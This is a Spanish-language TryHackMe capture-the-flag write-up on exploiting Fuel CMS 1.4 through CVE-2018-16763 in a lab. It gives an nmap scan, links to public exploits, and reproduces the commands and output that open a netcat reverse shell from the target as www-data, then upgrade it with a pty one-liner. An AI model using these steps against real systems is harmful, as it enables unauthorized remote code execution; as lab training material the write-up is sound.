TryHackMe - Proyecto final de vulnerabilidad
Simplemente arregla tus exploits
Introducción
Una sala un poco frustrante porque tuvimos que revisar varios exploits que no funcionaban, pero logramos encontrar uno bueno al final.
Preguntas
¿Cuál es el nombre de la aplicación que se ejecuta en la máquina vulnerable?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -T4 -n -sC -sV -Pn -p- 10.10.159.5
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9a:5b:14:49:04:b1:d5:44:82:6b:85:b0:f1:b8:1f:69 (RSA)
| 256 6f:4f:08:60:6d:46:a7:b8:e3:0e:1b:00:12:4b:e3:09 (ECDSA)
|_ 256 49:3c:2d:13:e7:8b:77:70:47:e4:f4:e1:df:96:5d:7a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puertos abiertos:
22/tcp
80/tcp
Respuesta:
1
Fuel CMS
¿Cuál es el número de versión de esta aplicación?
Respuesta:
1
1.4
¿Cuál es el número de CVE que permite a un atacante ejecutar código de forma remota en esta aplicación?
Haciendo una búsqueda rápida en Google podemos encontrar lo siguiente: https://pentest-tools.com/vulnerabilities-exploits/fuel-cms-141-remote-code-execution_2612
Respuesta:
1
CVE-2018-16763
¿Cuál es el valor de la bandera ubicada en esta máquina vulnerable? Está ubicada en /home/ubuntu en la máquina vulnerable.
Vamos a analizarlo
Descargue el exploit desde https://www.exploit-db.com/exploits/50477
y usémoslo
1
2
3
4
5
6
7
8
9
10
11
12
python3 50477.py
usage: python3 50477.py -u <url>
python3 50477.py -u http://10.10.159.5
[+]Connecting...
Enter Command $ls
system
Enter Command $id
system
Enter Command $whoami
system
No importa lo que escribamos, la respuesta es la misma
Bien, descarguemos https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE
, parece estar usando el mismo CVE pero con un enfoque diferente
1
git clone https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE
Esto tampoco parece funcionar bien…
Bandera
Finalmente, el exploit funciona: “https://gist.github.com/anir0y/8529960c18e212948b0e40ed1fb18d6d#file-fuel-cms-py”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ python3 exploit.py 10.10.159.5/
______ _ _____ ___ ___ _____
| ___| | / __ \| \/ |/ ___|
| |_ _ _ ___| | / \/| . . |\ `--.
| _| | | |/ _ \ | | | |\/| | `--. \
| | | |_| | __/ | \__/\| | | |/\__/ /
\_| \__,_|\___|_|\____/\_| |_/\____/
Tested on 1.4
Created by Ac1d
Menu
exit - Exit app
shell_me - Get a reverse shell (netcat)
help - Show this help
fuelCMS$
Iniciamos nuestro escucha netcat en nuestra máquina atacante
1
nc -lvnp 1337
Y dejar que el exploit nos persiga a nosotros mismos
1
2
fuelCMS$ shell_me
Enter your attacking machine IP:PORT $ 10.14.99.72:1337
Y recibimos nuestro shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.14.99.72] from (UNKNOWN) [10.10.159.5] 44904
/bin/sh: 0: can't access tty; job control turned off
$ ls
README.md
assets
composer.json
contributing.md
fuel
index.php
robots.txt
$ whoami
www-data
Simplemente cambie al shell interactivo y obtenga nuestra bandera
1
$ python3 -c 'import pty; pty.spawn("/bin/bash")'